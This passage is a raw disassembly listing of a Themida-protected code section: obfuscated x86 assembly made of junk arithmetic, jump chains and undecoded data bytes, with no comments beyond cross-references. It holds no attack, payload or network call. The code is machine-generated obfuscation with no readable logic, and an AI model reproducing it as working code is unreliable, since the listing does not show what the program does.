		xor	ebp, ecx
		pop	ecx
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edi
		sub	ebx, 59B63EF5h
		push	edx
		jmp	loc_553B4D
; ---------------------------------------------------------------------------

loc_563298:				; CODE XREF: Themida_:00565847j
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 6
		push	7716h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5651C9
; ---------------------------------------------------------------------------
		dd 489665Ch, 0E21DE924h, 1489FFFEh, 55E28924h, 6B7B58BDh
		dd 0FFED8309h, 0FF1B87E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5632E1:				; CODE XREF: Themida_:005638A3j
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		jmp	loc_5537B4
; ---------------------------------------------------------------------------
		dd 0F180C1FEh, 0B6E980DFh, 0E959CA88h, 0FFFFA16Eh, 0E9F9015Ah
		dd 0FFFFAFA0h, 4B951h, 0C8010000h, 0FF6C76E9h, 0DCE950FFh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563317:				; CODE XREF: Themida_:005647E3j
		push	ecx
		jmp	loc_555F48
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 815B5453h, 4C3h, 4EB8300h, 2474FF53h, 2302E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56333A:				; CODE XREF: Themida_:0055D4EAj
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55391C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 54FA54FCh, 1D8AE9h, 4EC8100h, 0E9000000h, 31Eh, 0EC817E04h
		dd 4, 0E9240C89h, 0FFFFDEC3h, 34FFE830h, 89505924h, 0F1B8E9E0h
		dd 0FA01FFFEh, 0FFF502E9h, 4E0C1FFh, 68h, 0E2B3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56339A:				; CODE XREF: Themida_:0055BCB5j
		xor	ebp, [esp]
		jmp	loc_55CD33
; ---------------------------------------------------------------------------

loc_5633A2:				; CODE XREF: Themida_:00560C65j
		xchg	edx, [esp]
		mov	esp, [esp]
		popa
		popf
		jmp	locret_562F14
; ---------------------------------------------------------------------------
		db 29h
		dd 0D1F75DE9h, 68D9BF57h, 0F9314473h, 0FF7A3AE9h, 0E9D7F7FFh
		dd 0FFFF3449h, 6A8CE781h, 6BE95330h, 81FFFF9Ah,	0BFB624C3h
		dd 5BDE29DFh, 2474FF56h, 0CE59E904h, 0C383FFFFh, 3EC3E904h
		dd 0ED81FFFFh, 6D1C4E4Dh, 0E9240C8Bh, 0FFFFD0E0h
; ---------------------------------------------------------------------------

loc_5633FC:				; CODE XREF: Themida_:0055CE21j
		add	eax, 73A53EBAh
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 705C548Bh
		jmp	loc_5606A9
; ---------------------------------------------------------------------------

loc_56340F:				; CODE XREF: Themida_:0055AEE3j
		xor	edx, 51984C0Ah
		dec	edx
		jmp	loc_5592A9
; ---------------------------------------------------------------------------
		db 89h
		dd 0B353240Ch, 0FEDBF609h, 3287E9CBh, 0E943FFFFh, 384Bh
		dd 9CC6815Eh, 8967E71Bh, 0D8F75EF0h, 0F707E0C1h, 3E0C1D8h
		dd 0FEEA68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563449:				; CODE XREF: Themida_:00565B13j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, edi
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 3AA16BD9h
		jmp	loc_556DA7
; ---------------------------------------------------------------------------

loc_56346C:				; CODE XREF: Themida_:00558ECAj
		mov	esi, 0B5A88A8Ah
		jmp	loc_55C935
; ---------------------------------------------------------------------------
word_563476	dw 0F766h		; DATA XREF: Themida_:00551218o
		dd 0E99C241Ch, 0FFFEE06Bh, 0BF243C89h, 5B134808h, 7BCCE956h
		dd 8956FFFFh, 4C681E6h,	0E9000000h, 0FFFFACE8h,	31243C33h
		dd 3C33243Ch, 8F545C24h, 85682404h, 0E9000005h,	0FFFEE51Dh
		dd 2C781h, 3C870000h, 24248B24h, 4AB0F66h, 20E99C24h, 51FFFEE0h
		dd 1D312DB9h, 59CE3163h, 0E9D6F74Eh, 0FFFF5166h, 6047C381h
		dd 87E9234Fh, 1FFFF91h,	24148BD0h, 5704C483h, 676EAD68h
		dd 0F8015F12h, 83243C8Bh, 34FF04C4h, 24348B24h,	4C481h
		dd 89520000h, 685557E2h, 6C40E35h, 0FAED815Dh, 0E9319A6Ch
		dd 0FFFFD402h
; ---------------------------------------------------------------------------

loc_563520:				; CODE XREF: Themida_:00561347j
		mov	[esp], ecx
		mov	ch, 0D0h
		xor	bl, ch
		pop	ecx
		jmp	loc_55DF3F
; ---------------------------------------------------------------------------

loc_56352D:				; CODE XREF: Themida_:00565142j
		sub	dword ptr [esp], 6EC60C19h
		jmp	loc_55C541
; ---------------------------------------------------------------------------
		db 1, 0CDh, 53h
		dd 0A55A16BBh, 0E9D3F73Ch, 26FFh, 0E9D8005Ah, 0FFFFB3C1h
		dd 3E4368h, 0D9BE900h, 0FA29FFFFh, 7EA1C281h, 0F75F32FFh
		dd 42DAF7D2h, 19ACBE56h, 0F2294A4Fh, 5AD7015Eh,	0FF0A45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563579:				; CODE XREF: Themida_:0055E45Dj
		mov	[esp], esi
		jmp	loc_5610BF
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 0FFFFFFFFh, 0A8B9515Bh, 29DB2A3Bh, 5290E9CBh, 815DFFFFh
		dd 4C4h, 88BD5500h, 8143F141h, 82D926C5h, 5DEA012Dh, 5F22C281h
		dd 0CA814473h, 24EA4F83h, 8904EC83h, 52512404h,	0FFB819E9h
		dd 243C89FFh, 4B60CFBFh, 953E906h, 0EEC1FFFFh, 9018E902h
		dd 0E951FFFFh, 0FFFF426Eh, 0E95BD901h, 0FFFF5F4Eh
; ---------------------------------------------------------------------------

loc_5635E8:				; CODE XREF: Themida_:00559709j
		add	edx, 1D6B0C10h
		jmp	loc_5628A6
; ---------------------------------------------------------------------------
		db 89h
		dd 24682434h, 0E902BF1Bh, 0FFFF4F3Fh, 4C481h, 0E9500000h
		dd 0FFFFC273h, 8904EC83h, 1FE92404h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563617:				; CODE XREF: Themida_:0056218Ej
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_558766
; ---------------------------------------------------------------------------

loc_563622:				; CODE XREF: Themida_:00564284j
		mov	[esp], ebp
		jmp	loc_554406
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 5D042474h, 5C24048Fh, 0E99CC884h, 0FFFF51B5h, 0E93BB050h
		dd 0FFFF278Dh
; ---------------------------------------------------------------------------

loc_563644:				; CODE XREF: Themida_:00563D6Bj
		mov	ebp, [esp]
		jmp	loc_55EC92
; ---------------------------------------------------------------------------
		dd 0BE243489h, 40233413h, 481EE681h, 0EED17DB3h, 0BD55DEF7h
		dd 749A06CAh, 7D31C581h, 0C58176E9h, 2B3F781Ch,	1946E9h
		dd 16BD5500h, 816FEB24h, 0EF0DDDEDh, 5D39E911h,	2C89FFFFh
		dd 3099E924h, 0D901FFFFh, 1410E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563696:				; CODE XREF: Themida_:0055B17Cj
		xor	esi, 1A2F26B2h
		jmp	loc_5647F3
; ---------------------------------------------------------------------------
		db 89h,	0D1h, 5Ah
		dd 0F072C181h, 0BB53BDC0h, 7F4E7574h, 0E95BDF01h, 0FFFF4729h
		dd 768EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5636BE:				; CODE XREF: Themida_:00555CE6j
		pop	ecx
		sub	edx, ecx
		jmp	loc_558850
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 0FFC54AE9h
		db 0FFh
byte_5636CD	db 66h,	8Bh, 4		; DATA XREF: Themida_:00551310o
		dd 0E0895024h, 405h, 60816800h,	1C890000h, 4BB24h, 72D0000h
		dd 293B962Ah, 2A0705D8h, 875B3B96h, 895C2404h, 0E0892404h
		dd 1750E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563702:				; CODE XREF: Themida_:0056247Dj
		pop	edx
		jmp	loc_55FA5B
; ---------------------------------------------------------------------------
		dd 1EFBEF81h, 0BD55422Ch, 15C820ECh, 13D6B951h,	0E98168AFh
		dd 36D478D0h, 73AFC181h, 0E1C138C8h, 0A3B9E905h, 0C481FFFFh
		dd 4, 0FF301BE9h, 0C1815FFFh, 17106AD6h, 0FF4472E9h, 0E9D0F7FFh
		dd 0FFFF40D6h, 0D828B604h, 0B353B62Ch, 5EBC099h, 0FF3799E9h
		dd 244C01FFh, 48B5904h,	4C48324h, 405h,	0E2895200h, 4C281h
		dd 0BB530000h, 0C051C1Fh, 666EB81h, 0F3817183h,	7085142Ah
		dd 81D3F74Bh, 70197C3h,	5BDA29EAh, 8B241487h, 1C892424h
		dd 5FF0BB24h, 0AE9006Ch, 8100001Ah, 2C2CEDE9h, 0E9525060h
		dd 0FFFFC844h, 0F28006B2h, 5AD03012h, 3058C728h, 241C8BFAh
		dd 5204C483h, 0CEFE72B6h, 0B3EE80h, 0D0005AF0h,	8904EC83h
		dd 0CAB7241Ch, 0FF808DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5637E1:				; CODE XREF: Themida_:005650DAj
		mov	esi, 231F51F7h
		push	6A65h
		mov	[esp], ebp
		mov	ebp, 228825ADh
		jmp	loc_5547D4
; ---------------------------------------------------------------------------
		dd 43E3D143h, 5087F381h, 0DF018AEAh, 0FF842AE9h, 4C483FFh
		dd 8070C380h, 0C30093EBh, 0BE685266h, 89000025h, 93B7241Ch
		dd 0FF6269E9h, 88D388FFh, 0F65A5BDDh, 8E5C0DDh,	0FEF0F580h
		dd 80D5F6C5h, 0BCE99AF5h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56383F:				; CODE XREF: Themida_:0055E6E9j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_561F01
; ---------------------------------------------------------------------------
		db 0BFh, 1Dh, 52h
		dd 81471F11h, 11521AEFh, 5FFD011Fh, 0FEFDCDE9h,	0F00166FFh
		dd 64BB6653h, 0F381667Fh, 816640CDh, 6618B1F3h,	1910C381h
		dd 6C590566h, 0E9D82966h, 0FFFFD51Eh, 240C8966h, 50E1B753h
		dd 0FF6935E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56389D:				; CODE XREF: Themida_:0056131Bj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5632E1
; ---------------------------------------------------------------------------

loc_5638A8:				; CODE XREF: Themida_:0055986Aj
		push	edx
		pop	eax
		pop	edx
		pop	esi
		xor	eax, 354C5C80h
		inc	eax
		and	eax, 448B3096h
		jmp	loc_5581B1
; ---------------------------------------------------------------------------

loc_5638BC:				; CODE XREF: Themida_:00552839j
		pop	ecx
		add	ecx, 4
		jmp	loc_559334
; ---------------------------------------------------------------------------
		dd 0F954E95Dh, 6068FFFEh, 8900000Ah, 7CB9240Ch,	2905794Dh
		dd 684559CDh, 0
		dd 11240481h, 292A2A4Dh, 2C81242Ch, 2A4D1124h, 0ED815D2Ah
		dd 3643D367h, 0BAE9EB31h
		db 0ABh, 2 dup(0FFh)
byte_563903	db 66h			; DATA XREF: Themida_:0055131Co
		dd 0E924048Bh, 0FFFF79E1h, 4246C01h, 81242C8Bh,	4C4h, 0EC835900h
		dd 24148904h, 4BAh, 30E4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56392A:				; CODE XREF: Themida_:0055F6A9j
		push	ecx
		push	esp
		jmp	loc_55E4C5
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 3Eh
		dd 80FFFF38h, 0C680A3C6h, 24048BEBh, 4C483h, 24148BF0h
		dd 4C481h, 0F32C0000h, 0F2C9E952h
		db 0FEh, 0FFh
word_563956	dw 0C8Bh		; DATA XREF: Themida_:0055143Co
aH3		db '$h3)',0
		align 2
		dw 0C89h
		dd 50E18924h, 0CD1206B8h, 3663E92Eh, 0C681FFFFh, 4, 4B951h
		dd 4DE90000h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56397F:				; CODE XREF: Themida_:00563213j
		add	esp, 4
		sub	ebp, 300FC97Fh
		or	edi, ebp
		pop	ebp
		add	edi, 1
		shr	edi, 4
		sub	esp, 4
		mov	[esp], edi
		xchg	esi, [esp]
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		pop	edi
		push	esi
		jmp	loc_553900
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFCAFAE9h, 4C681FFh, 0E9000000h,	0FFFFE4DAh, 1CDAE281h
		dd 0D2F77C5Fh, 0FF88F0E9h, 59CE01FFh, 0FF3980E9h, 0F4805BFFh
		dd 0FAC480E9h, 0C0B3CC80h, 0CFE903ECh, 81FFFFEDh, 4C4h
		dd 0FFF22900h, 815E2434h, 4C4h,	6EAC100h, 294E9h, 5953BE00h
		dd 0E6D1426Bh, 0EE81DEF7h, 24E705C5h, 0E902E6C1h, 0FFFF1EA8h
		dd 4C481h, 3BE90000h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A33:				; CODE XREF: Themida_:00566C76j
		add	bh, dl
		mov	edx, [esp]
		add	esp, 4
		xor	al, bh
		mov	ebx, [esp]
		push	62E0h
		mov	[esp], edi
		push	esp
		jmp	loc_560E30
; ---------------------------------------------------------------------------

loc_563A51:				; CODE XREF: Themida_:00555806j
		mov	ebp, 67FF34DCh
		push	ebx
		push	4CC2228Bh
		pop	ebx
		jmp	loc_552655
; ---------------------------------------------------------------------------

loc_563A62:				; CODE XREF: Themida_:005641E0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4049h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_558211
; ---------------------------------------------------------------------------

loc_563A84:				; CODE XREF: Themida_:00554310j
		sub	ecx, 5D1902E0h
		jmp	loc_564E7E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 8B24048Fh, 1C892424h, 5D6ABB24h, 5C29782Ah
		dd 1C8B0424h, 4EC8124h,	0E9000000h, 0FFFFA537h,	0E9243487h
		dd 0FFFEF336h, 3C8BFD01h, 4C48324h, 0ED81CD01h,	78D85C99h
		dd 558168h, 2EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563AD6:				; CODE XREF: Themida_:0055DC44j
		mov	[esp], esi
		jmp	loc_555734
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 56000000h, 0C52705BEh, 0E9E6D12Ch, 0FFFF68EBh, 8159CA01h
		dd 4C2h, 24143300h, 33241431h, 8F5C2414h, 248B2404h, 4016624h
		dd 0D8E99C24h, 0B0FFFED9h, 58C300F8h, 8001EB80h, 80E9D0CBh
		dd 81FFFFDAh, 0D1C81CE9h, 0FFC801F9h, 0E9592434h, 0FFFF99BBh
		dd 8324248Bh, 60E904ECh
		db 18h,	2 dup(0FFh)
byte_563B3F	db 0ACh			; DATA XREF: Themida_:0055129Co
		dd 154668h, 240C8900h, 0EC8357B5h, 24148904h, 55E929B2h
		dd 8BFFFF2Dh, 0C4832414h, 90E6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563B62:				; CODE XREF: Themida_:0055544Ej
		push	dword ptr [esp]
		jmp	loc_55A445
; ---------------------------------------------------------------------------
word_563B6A	dw 8B66h		; DATA XREF: Themida_:005513BCo
		dd 89572404h, 273968E7h, 2C890000h, 0AFBF5724h,	5163B036h
		dd 91237BB9h, 59CF01C0h, 2434FF57h, 5954515Dh, 4C181h
		dd 0C1830000h, 7CA6E904h, 489FFFFh, 57C16824h, 8F540000h
		dd 4812404h, 424h, 24048B00h, 0FFB831E9h, 6FE95FFFh, 5CFFFF08h
		dd 0FFBEDEE9h, 7BB850FFh, 0F73BF23Ch, 5D0F7D0h,	73975F2Ah
		dd 0F349572Dh, 2F5D3537h, 0C50950AEh, 6FC58158h, 8118182Dh
		dd 3CC3BEF5h, 5DEE094Ah, 133FE681h, 0EC836634h,	241C8904h
		dd 7B75C8BBh, 2E3C135h,	68h, 241C2900h,	23EB815Bh, 31CA446Ch
		dd 0B618E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563C1A:				; CODE XREF: Themida_:00565AD0j
		mov	esp, [esp]
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_563C22:				; CODE XREF: Themida_:0055B1D1j
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_562091
; ---------------------------------------------------------------------------
		dw 595Eh
		dd 17E9C501h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563C37:				; CODE XREF: Themida_:00561FDEj
		xor	edx, 0CEC9EA93h
		push	esi
		jmp	loc_5528D5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832424h, 24048904h, 0FEF42FE9h, 3C1968FFh, 2C890000h
		dd 4AB66824h, 815D28F5h, 0F54AB7F5h, 5BE95028h,	0BBFFFFC7h
		dd 2CAD40A3h, 0FAB7DEBEh, 5BDE295Dh, 549368h, 24148900h
		dd 0C5913BAh, 5AD629F0h, 348BF029h, 4C48324h, 626EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563C96:				; CODE XREF: Themida_:00562F94j
		push	796Bh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5617DF
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 7
		dd 6FF668h, 242C8900h, 272B7DBDh, 0EAE95168h, 89FFFF32h
		dd 0E789243Ch, 7D59BD55h, 0CD811938h, 716F3634h, 8105E5C1h
		dd 0EFEF9CEDh, 9C70E92Fh, 0C483FFFFh, 15E28104h, 6828E438h
		dd 1A1Ch, 0FFA47CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563CED:				; CODE XREF: Themida_:005607AFj
		and	dl, 26h
		push	ecx
		jmp	loc_560305
; ---------------------------------------------------------------------------

loc_563CF6:				; CODE XREF: Themida_:00564478j
		add	esi, 461368ABh
		jmp	loc_55FFE5
; ---------------------------------------------------------------------------

loc_563D01:				; CODE XREF: Themida_:00564884j
		inc	ch
		jmp	loc_559A6C
; ---------------------------------------------------------------------------
		dd 1022E181h, 0E9C154A9h, 2E9C108h, 39E4E981h, 4E90643h
		dd 59FFFFFEh, 5C24048Fh, 241C8966h, 0FF7322E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563D2D:				; CODE XREF: Themida_:005581B9j
		pop	ecx
		add	eax, 70D109E7h
		add	eax, edi
		sub	eax, 70D109E7h
		push	ebp
		jmp	loc_5557F9
; ---------------------------------------------------------------------------

loc_563D40:				; CODE XREF: Themida_:0055731Bj
		mov	eax, 42D3586Eh
		jmp	loc_564103
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 36C4C281h, 0E959712Eh, 0FFFFEF77h
; ---------------------------------------------------------------------------

loc_563D58:				; CODE XREF: Themida_:0055AA7Bj
		xor	edx, 7042F2Fh
		add	eax, edx
		pop	edx
		sub	eax, 0C3739BD2h
		mov	ebp, eax
		pop	eax
		xor	esi, ebp
		jmp	loc_563644
; ---------------------------------------------------------------------------
		dd 1FA8C181h, 0F90113D9h, 1FA8E981h, 3C8B13D9h,	4C48324h
		dd 34D16858h, 0C890000h, 2474FF24h, 2434FF04h, 0FF5983E9h
		dd 5AD001FFh, 0E5E9F829h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563DA3:				; CODE XREF: Themida_:0055265Bj
		dec	ebx
		xor	ebx, 903F7CB0h
		mov	ecx, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		add	ecx, eax
		xor	[ecx], ebp
		pop	ecx
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56444E
; ---------------------------------------------------------------------------
		dd 295EF201h, 0E7EA81C2h, 5766B674h, 647E6855h,	0F75D5375h
		dd 0D06853D5h, 5B7EB77Ch, 8103E3C1h, 0BF25E5EBh, 11BAE905h
		dd 29590000h, 715CE9EAh, 0E952FFFFh, 0FFFFC379h, 3589CF81h
		dd 0F7813E64h, 0A6557485h, 2D5FF801h, 8157BD1h,	62CDB951h
		dd 0C181530Fh, 1, 3632BD55h, 1E907F5h, 0B9FFFF3Eh, 16102C90h
		dd 8159CF29h, 1B524AE7h, 0E64EE92Bh, 0C89FFFFh,	887CE924h
		dd 895CFFFFh, 0AEE9243Ch
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563E4B:				; CODE XREF: Themida_:00554526j
		not	ebp
		xor	ebp, 3410631Ch
		xor	ebp, 67206983h
		shr	ebp, 5
		sub	ebp, 272A922h
		mov	edi, ebp
		pop	ebp
		push	5B08h
		mov	[esp], edi
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		jmp	loc_555CEB
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF240489h, 58042474h, 0E924048Fh, 0FFFF1446h
; ---------------------------------------------------------------------------

loc_563E94:				; CODE XREF: Themida_:0055ABE5j
		add	eax, ebp
		pop	ebp
		sub	eax, 7E867EC1h
		sub	eax, edi
		add	eax, 7E867EC1h
		jmp	loc_55E1EC
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FFFFD782h, 2EC81h, 89660000h, 44FE2414h
		dd 5A660124h, 0FEDD7FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563EC5:				; CODE XREF: Themida_:00560295j
		mov	edi, esp
		jmp	loc_566380
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C7E90000h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563ED7:				; CODE XREF: Themida_:00554401j
		push	dword ptr [esp]
		jmp	loc_556312
; ---------------------------------------------------------------------------

loc_563EDF:				; CODE XREF: Themida_:0055DD89j
		shl	edx, 8
		or	edx, 3D021129h
		and	edx, 6740744Ch
		or	edx, 9A2310h
		xor	edx, 18C76B54h
		sub	ecx, edx
		jmp	loc_56134C
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0F6h
		dd 76D36333h, 83242C8Bh, 6804C4h, 81000000h, 9A9242Ch
		dd 34295840h, 0C6CE924h, 0E381FFFFh, 17285818h,	0FF704BE9h
		dd 241489FFh, 0B3535166h, 0F1B4E98Ch, 81B9FFFFh, 0C142BD65h
		dd 0F18103E9h, 13900F17h, 8622B850h, 0C1291136h, 59CF0958h
		dd 3402CF81h, 0B850783Dh, 59404DCFh, 0FF4262E9h, 241487FFh
		dd 0FED8B2E9h, 242489FFh, 4240481h, 59000000h, 4C181h
		dd 0C1830000h, 240C8704h, 5324248Bh, 3F3C68h, 24148900h
		dd 0C87DDABAh, 593D681Eh, 0BCE90000h, 0B8FFFFD2h, 2, 30E9C101h
		dd 0FFFFFF63h, 0FF042474h, 815B2434h, 4C4h, 24048F00h
		dd 0D529E95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563FC2:				; CODE XREF: Themida_:00552CB5j
		pop	ebx
		add	bl, 44h
		sub	bl, ah
		push	edx
		jmp	loc_5568B6
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 4FD2238Bh, 0C581DD01h, 4FD2238Bh, 1A77E95Bh,	248B0000h
		dd 240C8924h, 5404EC83h, 0E924048Fh, 0FFFFD818h, 8904EC83h
		dd 4B82404h, 1000000h, 24048BC3h, 4C481h, 0EC810000h, 4
		dd 0B9240C89h, 2, 34FFCB01h, 83515924h,	248904ECh, 0EFC2E924h
		dd 0E957FFFFh, 0FFFFB2ECh, 57BEE95Eh
		db 2 dup(0FFh)
word_564036	dw 8B66h		; DATA XREF: Themida_:00551428o
		dd 89512404h, 3ADC68E1h, 1C890000h, 0A3685524h,	0E97F1175h
		dd 0FFFF63E9h, 8108E7C1h, 1673DECFh, 0EF81470Ah, 0F40FEA5Fh
		dd 0E95FFE01h, 0FFFF1958h, 2024248Bh, 0E99C2404h, 0FFFED477h
; ---------------------------------------------------------------------------

loc_564074:				; CODE XREF: Themida_:0055F317j
		xor	ecx, [esp]
		jmp	loc_559511
; ---------------------------------------------------------------------------
		dd 4240483h, 4EC835Ah, 0B9240C89h, 47EB0319h, 240CFF51h
		dd 3A39E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564096:				; CODE XREF: Themida_:0055BE67j
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_56409B:				; CODE XREF: Themida_:005604BAj
		push	edi
		jmp	loc_560992
; ---------------------------------------------------------------------------
		db 88h,	0DAh, 5Bh
		dd 241C8B58h, 0FF04C483h, 50582434h, 405E089h, 0E9000000h
		dd 0FFFF9732h, 0E918EB80h, 0FFFF0164h, 9F9E958h, 51530000h
		dd 81E9E7B1h, 0F7FFFF34h, 34FF2414h, 0C4835D24h, 0E9EDD104h
		dd 0FFFF5950h
; ---------------------------------------------------------------------------

loc_5640E4:				; CODE XREF: Themida_:005609ECj
		xor	ebp, 74380D95h
		jmp	loc_55467E
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 8324248Bh, 60E904ECh
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564103:				; CODE XREF: Themida_:00563D45j
		push	edi
		mov	edi, 477C71A0h
		add	edi, 0C267924Bh
		or	eax, edi
		pop	edi
		inc	eax
		neg	eax
		add	eax, 0FFFFFFFFh
		xor	eax, 0FD09D1B3h
		mov	ecx, eax
		pop	eax
		xor	ebx, ecx
		pop	ecx
		add	esi, 15574158h
		add	esi, 10CE3681h
		sub	esi, ebx
		push	ecx
		mov	ecx, 10CE3681h
		sub	esi, ecx
		pop	ecx
		sub	esi, 15574158h
		jmp	loc_559B0B
; ---------------------------------------------------------------------------

loc_564147:				; CODE XREF: Themida_:00559A7Bj
		push	edx
		mov	dh, 0EBh
		mov	bl, 9
		add	bl, dh
		pop	edx
		jmp	loc_551769
; ---------------------------------------------------------------------------

loc_564154:				; CODE XREF: Themida_:005619EEj
		add	esp, 4
		push	ecx
		jmp	loc_560287
; ---------------------------------------------------------------------------
		dd 0E9A6EC80h, 0FFFEF644h, 5EF2015Ah, 1608E9h
		db 0
; ---------------------------------------------------------------------------

loc_564171:				; CODE XREF: Themida_:0055831Ej
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55A1B6
; ---------------------------------------------------------------------------

loc_564186:				; CODE XREF: Themida_:00557F10j
		push	esi
		add	dword ptr [esp], 5E2D38DBh
		pop	ebx
		jmp	loc_561FEA
; ---------------------------------------------------------------------------
		dd 721091BAh, 57E2D119h, 2F5BCDBFh, 33CF8172h, 8118BA5Dh
		dd 9557B0E7h, 3E7C12Eh,	0FF95FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5641B5:				; CODE XREF: Themida_:00554320j
		dec	ecx
		jmp	loc_55FB25
; ---------------------------------------------------------------------------
		db 83h
		dd 0C4E904ECh, 5000004h, 354A770Ah, 2404335Fh, 0FF63C8E9h
		dd 2414F7FFh, 8E3C15Bh,	0FEDB46E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5641DD:				; CODE XREF: Themida_:005611DEj
		pop	dword ptr [esp]
		jmp	loc_563A62
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 0E9h
		dd 0FFFEF1CFh, 0C380D300h, 0BC685A76h, 0E900004Ch, 0FFFF062Ch
		dd 3C4C4868h, 0F1815910h, 1EA42560h, 18E9CB89h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56420F:				; CODE XREF: Themida_:00554145j
		add	ebx, eax
		jmp	loc_55E216
; ---------------------------------------------------------------------------

loc_564216:				; CODE XREF: Themida_:00558BA0j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0A5Bh
		mov	[esp], edi
		jmp	loc_565331
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0A109E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56423A:				; CODE XREF: Themida_:0055ACBEj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	esi
		jmp	loc_55D344
; ---------------------------------------------------------------------------
		dw 0F989h
		dd 0FFE301E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_561C49
; ---------------------------------------------------------------------------
		db 58h
		dd 3781E957h, 5755FFFFh, 0E0E41BFh, 0AECAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564272:				; CODE XREF: Themida_:005668A6j
		pop	eax
		push	54C8h
		mov	[esp], edx
		push	ebp
		mov	ebp, 2E1E52B6h
		sub	esp, 4
		jmp	loc_563622
; ---------------------------------------------------------------------------
byte_564289	db 0ADh, 2Dh, 33h	; DATA XREF: Themida_:005513D8o
